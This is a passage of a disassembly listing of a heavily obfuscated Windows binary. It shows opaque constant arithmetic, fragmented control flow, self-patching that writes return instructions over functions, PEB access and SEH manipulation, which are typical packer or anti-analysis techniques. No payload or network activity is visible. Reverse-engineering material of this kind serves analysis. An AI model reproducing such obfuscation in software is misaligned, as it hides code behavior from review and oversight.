; FUNCTION CHUNK AT 0043BDDF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044CA44 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_44CA44
sub_44F0C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_44F0CA	proc near		; CODE XREF: dviuq5id:0043E04Cj
					; sub_43C402+1254Ep

; FUNCTION CHUNK AT 0043B15E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004455C2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00449ED3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00450372 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A03D SIZE 00000004 BYTES

		xchg	esi, [esp+0]
		pop	esi
		lea	eax, [ebp-14h]
		push	eax
		call	sub_441C54
		jmp	loc_450372
sub_44F0CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44F0DC	proc near		; CODE XREF: sub_454E7Cj
		push	ebp
		mov	ebp, esp
		jmp	sub_44AF7D
sub_44F0DC	endp

; ---------------------------------------------------------------------------
		add	edx, ecx
		jmp	sub_455332
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB53

loc_44F0EB:				; CODE XREF: sub_44BB53+55C1j
		jl	loc_45399B

loc_44F0F1:				; CODE XREF: sub_458C46+Dj
		jmp	sub_44D42F
; END OF FUNCTION CHUNK	FOR sub_44BB53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44623D

loc_44F0F6:				; CODE XREF: sub_44623D+9077j
		jmp	loc_458EE5
; END OF FUNCTION CHUNK	FOR sub_44623D
; ---------------------------------------------------------------------------

loc_44F0FB:				; CODE XREF: dviuq5id:loc_43A432j
		jmp	loc_453431
; ---------------------------------------------------------------------------
		mov	[ebx], eax
		mov	edx, 455BF1F9h
		push	esi
		jmp	loc_453993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_44F10D:				; CODE XREF: sub_445437+13j
		add	ebx, 58558F0Ch
		xchg	ebx, [esp+0]
		jmp	loc_43F576
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------

loc_44F11B:				; CODE XREF: dviuq5id:0043A4DEj
		mov	edi, [esi]

; =============== S U B	R O U T	I N E =======================================



sub_44F11D	proc near		; CODE XREF: sub_4560AC-D897p

; FUNCTION CHUNK AT 0043E6DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044375A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044C8BD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044FCB1 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [eax]
		test	dword ptr [eax], 0FFFF0000h
		jnz	loc_442218
		jmp	loc_44FCB1
sub_44F11D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_44F134:				; CODE XREF: sub_44B99E:loc_453D10j
		jnz	loc_444B59
		jmp	loc_4528D0
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F186

loc_44F13F:				; CODE XREF: sub_44F186:loc_446ACCj
		xor	eax, 99B90BA1h
		add	eax, 3A427A45h
		call	sub_44A58C
		mov	ds:off_41D034, eax
		lea	eax, sub_44E763
		mov	byte ptr [eax],	0C3h
		jmp	loc_453E22
; END OF FUNCTION CHUNK	FOR sub_44F186

; =============== S U B	R O U T	I N E =======================================



sub_44F164	proc near		; CODE XREF: sub_41A690+284p
					; sub_41A690+2B2p ...

; FUNCTION CHUNK AT 00443476 SIZE 00000006 BYTES

		call	sub_443481
		jmp	loc_443476
sub_44F164	endp

; ---------------------------------------------------------------------------

loc_44F16E:				; CODE XREF: dviuq5id:0044A598j
		jl	loc_441DE8

; =============== S U B	R O U T	I N E =======================================



sub_44F174	proc near		; CODE XREF: sub_44245C:loc_4437D4p

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		add	esi, 782D896Fh
		xchg	esi, [esp-4+arg_0]
		jmp	sub_449EB7
sub_44F174	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44F186	proc near		; CODE XREF: dviuq5id:0043BD00j
					; sub_44E763+39FEp

; FUNCTION CHUNK AT 00446ACC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F13F SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00453E22 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	34AE3D87h
		pop	eax
		sub	eax, 0CD977C9Bh
		jmp	loc_446ACC
sub_44F186	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44F19B:				; CODE XREF: dviuq5id:004431C0j
		mov	edi, 0C00CC606h
		add	ebx, 4A5CA3A1h
		jmp	loc_459245
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_44F1AB:				; CODE XREF: sub_4551F9:loc_455208j
		call	sub_43A101
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+0]
		jmp	loc_447C1E
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_44F1BB:				; CODE XREF: sub_452D9B:loc_44BD46j
					; sub_452D9B+1CB5j
		call	sub_441DDA

loc_44F1C0:				; CODE XREF: sub_449485-9FD7j
		push	offset loc_442801
		jmp	loc_43C081
; END OF FUNCTION CHUNK	FOR sub_452D9B
; ---------------------------------------------------------------------------
		xchg	ecx, [edi]
		or	edi, 5728C8EDh
		jmp	sub_446004
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FE77

loc_44F1D7:				; CODE XREF: sub_44FE77+5D3Dj
		pop	eax
		pop	ebp
		jmp	loc_456CE7
; END OF FUNCTION CHUNK	FOR sub_44FE77
; ---------------------------------------------------------------------------

loc_44F1DE:				; CODE XREF: dviuq5id:00454B76j
		push	offset sub_440638
		jmp	loc_4415F3
; ---------------------------------------------------------------------------

loc_44F1E8:				; CODE XREF: dviuq5id:loc_450998j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B9DA

loc_44F1E9:				; CODE XREF: sub_44B9DA-39Bj
		sub	esi, 0BD9CD6A3h
		shr	esi, 1
		jmp	loc_445C59
; END OF FUNCTION CHUNK	FOR sub_44B9DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_44F1F6:				; CODE XREF: sub_450686-12B84j
		sub	edx, 6CF20E4Ah
		test	edx, 20000h
		jmp	loc_4541CE
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC42

loc_44F207:				; CODE XREF: sub_43CC42+F393j
		jz	loc_44E447
		jmp	loc_440B44
; END OF FUNCTION CHUNK	FOR sub_43CC42

; =============== S U B	R O U T	I N E =======================================



sub_44F212	proc near		; DATA XREF: dviuq5id:loc_4537B4o

; FUNCTION CHUNK AT 00452FB5 SIZE 00000005 BYTES

		push	8F2B4BEBh
		pop	eax
		xor	eax, 0B113C4E3h
		or	eax, 28F693B4h
		and	eax, 0E40078E6h
		push	offset loc_43F387
		jmp	loc_452FB5
sub_44F212	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F285

loc_44F234:				; CODE XREF: sub_43F285-51A7j
		mov	ebp, eax
		xchg	ebp, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_43F285
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_44F23A:				; CODE XREF: sub_4560AC+Ej
		jmp	loc_44B77E
; END OF FUNCTION CHUNK	FOR sub_4560AC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44F23F	proc near		; CODE XREF: sub_442BBA-96B0p

; FUNCTION CHUNK AT 0043DFB5 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0043E524 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441EED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D829 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004517ED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004562F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458A21 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	edi
		push	ecx
		pop	edi
		jmp	loc_43E524
sub_44F23F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_44F24A:				; CODE XREF: sub_443AC1:loc_451B90j
		sub	ecx, 4E9DEBFh
		push	offset sub_43CD8D
		jmp	nullsub_232
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC6F

loc_44F25A:				; CODE XREF: sub_43EC6F:loc_43EC74j
		add	eax, 79C4974Ch
		push	esi
		pushf
		push	offset loc_44B43F
		jmp	loc_450823
; END OF FUNCTION CHUNK	FOR sub_43EC6F
; ---------------------------------------------------------------------------

loc_44F26C:				; CODE XREF: dviuq5id:00451937j
		mov	eax, 0C244F93Fh
		sub	eax, ebp
		and	edx, 7904947Fh

loc_44F279:				; CODE XREF: dviuq5id:loc_451924j
		add	ebx, 32896669h
		rol	ebx, 2
		add	ebx, 0DE3D26CEh
		xchg	ebx, [esp]
		jmp	loc_45810F
; ---------------------------------------------------------------------------
		or	edi, 40A31ADBh
		jmp	loc_459C3E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_400. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44623D

loc_44F29C:				; CODE XREF: sub_44623D:loc_43EE84j
		lea	eax, loc_44ED3A
		mov	byte ptr [eax],	0C3h
		jmp	loc_44ED3A
; ---------------------------------------------------------------------------

loc_44F2AA:				; CODE XREF: sub_44623D:loc_44ED3Aj
		xchg	ebx, [esp+4+var_4]
		mov	edx, ebx
		xchg	ecx, [esp+4+var_4]
		mov	ebx, ecx
		jmp	loc_44F0F6
; END OF FUNCTION CHUNK	FOR sub_44623D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453B6B

loc_44F2B9:				; CODE XREF: sub_453B6B+2j
		push	0AFEC7h
		pop	eax
		rol	eax, 4
		add	eax, 0FF9430DDh
		xchg	eax, [esp+8+var_8]
		jmp	sub_45092A
; END OF FUNCTION CHUNK	FOR sub_453B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450DC5

loc_44F2D0:				; CODE XREF: sub_450DC5+Cj
		push	offset sub_459FDE
		jmp	nullsub_465
; END OF FUNCTION CHUNK	FOR sub_450DC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_44F2DA:				; CODE XREF: sub_43C9A9-ADBj
		xor	eax, 419C1B90h
		add	eax, ebp
		add	eax, 5DCE4FB7h
		mov	eax, [eax]
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+8+var_8]
		jmp	loc_44ED30
; END OF FUNCTION CHUNK	FOR sub_43C9A9

; =============== S U B	R O U T	I N E =======================================



sub_44F2F5	proc near		; DATA XREF: dviuq5id:00445F9Eo

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 0043AC91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FB3B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0044B021 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044B9CF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004524C7 SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		push	0
		push	0
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+0]
		push	3FD3B21Dh
		jmp	loc_43AC91
sub_44F2F5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456A43

loc_44F30C:				; CODE XREF: sub_456A43-11E64j
		push	eax
		mov	eax, ebx
		xchg	eax, [esp+0]
		push	ecx
		call	sub_455B71
		shr	eax, 1
		jmp	sub_43D181
; END OF FUNCTION CHUNK	FOR sub_456A43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_44F31F:				; CODE XREF: sub_459490+5j
		pop	edi
		xchg	edi, [esp+0]
		mov	esp, ebp
		xchg	edi, [esp+0]
		mov	ebp, edi
		pop	edi
		mov	eax, ds:dword_43EE08
		or	eax, eax
		jmp	loc_444B63
; END OF FUNCTION CHUNK	FOR sub_459490
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F013

loc_44F338:				; CODE XREF: sub_43F013:loc_4589EDj
		pop	ecx
		or	ecx, 8747D081h
		xor	ecx, 0B23997Bh
		add	ecx, 0BF0965Dh
		xchg	ecx, [esp-8+arg_4]
		jmp	loc_43CABB
; END OF FUNCTION CHUNK	FOR sub_43F013
; ---------------------------------------------------------------------------
		jmp	loc_43FE6A
; ---------------------------------------------------------------------------
		jmp	loc_454DFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_44F35D:				; CODE XREF: sub_459385-16792j
					; dviuq5id:00451430j
		call	sub_43938B
		test	al, al
		jz	loc_44EADB
		jmp	loc_45809D
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44648C

loc_44F36F:				; CODE XREF: sub_44648C:loc_43E0FEj
		pop	ebx
		or	ebx, 3C6C0C58h
		sub	ebx, 9C08C491h
		call	sub_458BA4
; END OF FUNCTION CHUNK	FOR sub_44648C
; START	OF FUNCTION CHUNK FOR sub_441DED

loc_44F381:				; CODE XREF: sub_441DED+9j
		jmp	sub_441C54
; END OF FUNCTION CHUNK	FOR sub_441DED
; ---------------------------------------------------------------------------

loc_44F386:				; CODE XREF: dviuq5id:0043C30Ej
		jz	loc_450187
		adc	edi, esi

; =============== S U B	R O U T	I N E =======================================



sub_44F38E	proc near		; CODE XREF: sub_43D181+1A68Cp

; FUNCTION CHUNK AT 0043D691 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044244A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452386 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459885 SIZE 00000010 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jmp	loc_452386
sub_44F38E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	eax, ebx
		test	esi, 9B56EB0Eh
		jmp	loc_454111
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A919

loc_44F3A4:				; CODE XREF: sub_43A919:loc_45A505j
		mov	eax, [ebp-4]
		push	eax
		push	ecx
		push	0B5638FEAh
		pop	ecx
		and	ecx, 0CAA19091h
		jmp	loc_45A14F
; END OF FUNCTION CHUNK	FOR sub_43A919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B301

loc_44F3BA:				; CODE XREF: sub_44B301+2j
		rol	eax, 0Dh
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_44B301

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44F3BF	proc near		; CODE XREF: dviuq5id:004421A0p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00458D1D SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		push	ebx
		push	ecx
		pop	ebx
		jmp	loc_458D1D
sub_44F3BF	endp

; ---------------------------------------------------------------------------
		push	edx
		push	offset sub_44E30F

loc_44F3D0:				; CODE XREF: dviuq5id:004546D7j
		jmp	loc_44FD57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A1DF

loc_44F3D5:				; CODE XREF: sub_45A1DF:loc_45A1F6j
		add	ecx, 0B0A8A0E1h
		xchg	ecx, [esp+0]
		jmp	loc_43FD2C
; END OF FUNCTION CHUNK	FOR sub_45A1DF
; ---------------------------------------------------------------------------

loc_44F3E3:				; CODE XREF: dviuq5id:0044603Ej
		mov	edx, eax
		pop	eax
		and	edx, 0BF166EBh
		add	edx, 0FFE478C9h
		xchg	edx, [esp]
		jmp	sub_453642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_44F3FA:				; CODE XREF: sub_43FAE1:loc_43C8D2j
		push	edi
		push	2DBFDF42h
		pop	edi
		or	edi, 9B1DF67Fh
		jmp	loc_43A0D5
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
		cmp	edx, esi
		jmp	loc_44F9F5

; =============== S U B	R O U T	I N E =======================================



sub_44F413	proc near		; CODE XREF: dviuq5id:00451429j
					; dviuq5id:loc_454A55p
		xchg	edx, [esp+0]
		pop	edx
		mov	ds:dword_41D0A0, eax
		lea	eax, nullsub_471
		push	offset sub_43FBD7
		jmp	nullsub_472
sub_44F413	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A54F

loc_44F42D:				; CODE XREF: dviuq5id:0043EC21j
					; sub_43A54F:loc_43F935j
		and	ebx, 0D321D6B7h
		add	ebx, 702428B9h
		popf
		xchg	ebx, [esp+0]
		jmp	loc_450D80
; END OF FUNCTION CHUNK	FOR sub_43A54F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_44F442:				; CODE XREF: sub_445437+FCC7j
		jz	loc_43E23B

loc_44F448:				; CODE XREF: sub_43B6C3+42F4j
		jmp	loc_44BC4C
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456B31

loc_44F44D:				; CODE XREF: sub_456B31-1761Dj
		jmp	loc_43ED33
; END OF FUNCTION CHUNK	FOR sub_456B31
; ---------------------------------------------------------------------------
		jno	loc_4507F8
		jmp	loc_43E236
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451D31

loc_44F45D:				; CODE XREF: sub_451D31-A001j
		mov	ebp, eax
		xchg	ebp, [esp+0]
		call	sub_459194
; END OF FUNCTION CHUNK	FOR sub_451D31
; START	OF FUNCTION CHUNK FOR sub_445498

loc_44F467:				; CODE XREF: sub_4408FF+1Aj
					; sub_445498-44A2j ...
		call	sub_43BAB4

loc_44F46C:				; CODE XREF: dviuq5id:loc_4592CDj
		push	eax
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+0Ch+var_C]

loc_44F473:				; CODE XREF: dviuq5id:00450B8Bj
		jmp	loc_456E33
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_44F478:				; CODE XREF: sub_43CB4C:loc_4581A7j
		jnz	loc_44F7B8
		jmp	loc_445C83
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------

loc_44F483:				; CODE XREF: dviuq5id:00455498j
		pop	edx

loc_44F484:				; CODE XREF: dviuq5id:loc_44A3EDj
		push	ecx
		push	7F827FBCh
		pop	ecx
		and	ecx, ds:4000F6h
		xor	ecx, 0E0C974AFh
		or	ecx, 5F943B75h
		jmp	loc_43D6C6
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_456FA0
		jmp	loc_44C8F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA15

loc_44F4AF:				; CODE XREF: sub_43DA15:loc_43FE46j
		xor	edi, 15D67922h
		add	edi, 1E6496F6h
		add	edx, edi
		pop	edi
		adc	ecx, edx
		cmp	ecx, eax
		xchg	ebx, [esp-8+arg_4]
		mov	edx, ebx
		jmp	loc_44680E
; END OF FUNCTION CHUNK	FOR sub_43DA15
; ---------------------------------------------------------------------------

loc_44F4CC:				; CODE XREF: dviuq5id:loc_459ABCj
		call	sub_459630
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_44F4D1:				; CODE XREF: sub_44CFBC+43B8j
		jmp	loc_444024
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------

loc_44F4D6:				; CODE XREF: dviuq5id:0044ACA1j
		jnp	loc_44C196
		mov	[ebp+0], eax
		jmp	loc_4495B8
; ---------------------------------------------------------------------------

loc_44F4E4:				; CODE XREF: dviuq5id:0043BAF5j
		mov	eax, edx
		push	offset loc_447A0F
		jmp	locret_4432BD
; ---------------------------------------------------------------------------

loc_44F4F0:				; DATA XREF: sub_4572AA-19773o
		add	edx, 233B15DBh
		cmp	eax, edx
		adc	ecx, edx
		call	sub_439FA1

loc_44F4FF:				; CODE XREF: dviuq5id:0043DB88j
		jg	loc_43957C

; =============== S U B	R O U T	I N E =======================================



sub_44F505	proc near		; CODE XREF: sub_455039+14p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A3B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EB31 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0045416B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004557E5 SIZE 00000005 BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		push	edi
		push	778F39A1h
		jmp	loc_43A3B0
sub_44F505	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418CF

loc_44F514:				; CODE XREF: sub_4418CF:loc_4464A2j
		mov	edx, [ebp-18h]
		mov	[edx], eax
		jmp	loc_43A0D0
; END OF FUNCTION CHUNK	FOR sub_4418CF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44F51E	proc near		; CODE XREF: sub_4418CF+4p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044CE82 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00455066 SIZE 00000010 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_455066
sub_44F51E	endp

; ---------------------------------------------------------------------------
		mov	ds:off_41D09C, eax
		push	offset loc_44BEBC
		jmp	loc_457700
; ---------------------------------------------------------------------------

loc_44F536:				; CODE XREF: dviuq5id:loc_441A0Cj
		mov	eax, large fs:30h
		add	eax, 20h
		push	offset sub_45383B
		jmp	locret_44E51F
; ---------------------------------------------------------------------------

loc_44F54A:				; CODE XREF: dviuq5id:loc_44DF25j
		jge	loc_456370
; START	OF FUNCTION CHUNK FOR sub_450E2B

loc_44F550:				; CODE XREF: sub_450E2B:loc_450E37j
		jmp	loc_44AF72
; END OF FUNCTION CHUNK	FOR sub_450E2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450B01

loc_44F555:				; CODE XREF: sub_450B01-6CB8j
		jmp	loc_452834
; END OF FUNCTION CHUNK	FOR sub_450B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450377

loc_44F55A:				; CODE XREF: sub_450377-1364Bj
		jmp	nullsub_300
; END OF FUNCTION CHUNK	FOR sub_450377
; ---------------------------------------------------------------------------
		cmp	ebp, edi
		jmp	loc_44AB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E491

loc_44F566:				; CODE XREF: sub_44E491+7j
		mov	eax, [esp-4+arg_0]
		push	edx

loc_44F56A:				; CODE XREF: dviuq5id:00450FC9j
		push	ebx
		push	0FC5E4474h
		pop	ebx
		or	ebx, 0F44AB48Eh
		and	ebx, 0F095FA61h
		jmp	loc_456D1D
; END OF FUNCTION CHUNK	FOR sub_44E491

; =============== S U B	R O U T	I N E =======================================



sub_44F582	proc near		; CODE XREF: dviuq5id:0044331Cj
					; sub_455518+21AFp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00441B5E SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	edx, [esp-4+arg_0]
		mov	eax, edx
		nop

loc_44F58C:				; CODE XREF: sub_43E095+555Dj
		mov	eax, [esp-4+arg_0]
		call	sub_44E3BA
		jmp	loc_441B5E
sub_44F582	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44F599:				; CODE XREF: dviuq5id:004503CCj
		jnp	loc_44EF61
		mov	[eax], edi
		jmp	sub_44C9E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A3E1

loc_44F5A6:				; CODE XREF: sub_44A3E1:loc_4555FBj
		add	esp, 4
		mov	eax, 150h
		call	sub_43CCD1
		jmp	loc_43B910
; END OF FUNCTION CHUNK	FOR sub_44A3E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A67C

loc_44F5B8:				; CODE XREF: sub_45A67C:loc_4518FFj
		pop	large dword ptr	fs:0
; END OF FUNCTION CHUNK	FOR sub_45A67C
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_44F5BF:				; CODE XREF: sub_43C9A9+17F8Bj
		jmp	loc_45A482
; END OF FUNCTION CHUNK	FOR sub_43C9A9

; =============== S U B	R O U T	I N E =======================================



sub_44F5C4	proc near		; DATA XREF: dviuq5id:loc_443AEAo

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004573C7 SIZE 0000000D BYTES

		shr	edx, 10h
		rol	edx, 6
		pop	edx
		pop	ecx
		xchg	edi, [esp-8+arg_4]
		mov	eax, edi
		jmp	loc_4573C7
sub_44F5C4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44F5D6	proc near		; DATA XREF: dviuq5id:0044193Eo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043C14C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043EF30 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00444F7E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044DAA6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004552C8 SIZE 0000000D BYTES

		pop	edx
		jo	loc_444F7E
		mov	eax, [esp+0Ch+var_C]
		push	esi
		push	edx
		pop	esi
		xchg	esi, [esp+0]
		call	sub_44F9EE
		jmp	loc_44DAA6
sub_44F5D6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44F5F0:				; CODE XREF: dviuq5id:00456FA6j
		push	0ED883C7Ch
		pop	ebx
		and	ebx, 1C155B72h
		jnz	loc_455F6B
; START	OF FUNCTION CHUNK FOR sub_454267

loc_44F602:				; CODE XREF: sub_454267-EB65j
		jmp	loc_43A79C
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
		cmp	eax, esi
		jmp	loc_44B7D3
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_4394E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4585FC

loc_44F614:				; CODE XREF: sub_4585FC-1A7AEj
		jnz	loc_458D5A
; END OF FUNCTION CHUNK	FOR sub_4585FC
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_44F61A:				; CODE XREF: sub_43D83D+A47Dj
		jmp	loc_447FC4
; END OF FUNCTION CHUNK	FOR sub_43D83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D393

loc_44F61F:				; CODE XREF: sub_43D393+885Bj
		jmp	loc_44AF70
; END OF FUNCTION CHUNK	FOR sub_43D393
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457CB8

loc_44F624:				; CODE XREF: sub_457CB8-19160j
		jmp	loc_43F576
; END OF FUNCTION CHUNK	FOR sub_457CB8
; ---------------------------------------------------------------------------
		adc	eax, ebx
		jmp	loc_458D58
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E491

loc_44F631:				; CODE XREF: sub_44E491-104FBj
		jmp	sub_43B3A0
; END OF FUNCTION CHUNK	FOR sub_44E491
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_44F636:				; CODE XREF: sub_451EEC-A811j
		jns	loc_4427C0
		add	eax, 77EEB5D1h

loc_44F642:				; CODE XREF: dviuq5id:loc_451C81j
		jmp	loc_44E79A
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44097E

loc_44F647:				; CODE XREF: sub_44097E:loc_44AD2Dj
		add	eax, 0E1161962h
		push	ebx
		push	5293FDA7h
		pop	ebx
		or	ebx, 4CDB678Eh
		xor	ebx, 0DE80BC91h
		xor	eax, ebx
		jmp	loc_455057
; END OF FUNCTION CHUNK	FOR sub_44097E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4424D8

loc_44F667:				; CODE XREF: sub_4424D8+94C1j
		add	eax, esi

loc_44F669:				; CODE XREF: dviuq5id:loc_43A527j
		sbb	edi, 1F536F81h

loc_44F66F:				; CODE XREF: sub_4424D8:loc_43ADCDj
		push	edx
		mov	edx, ecx
		push	offset sub_440BFB
		jmp	nullsub_107
; END OF FUNCTION CHUNK	FOR sub_4424D8
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 0Ah
		mov	ds:dword_4442BC, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4572AA

loc_44F687:				; CODE XREF: sub_4572AA+22j
		jmp	loc_450932
; END OF FUNCTION CHUNK	FOR sub_4572AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

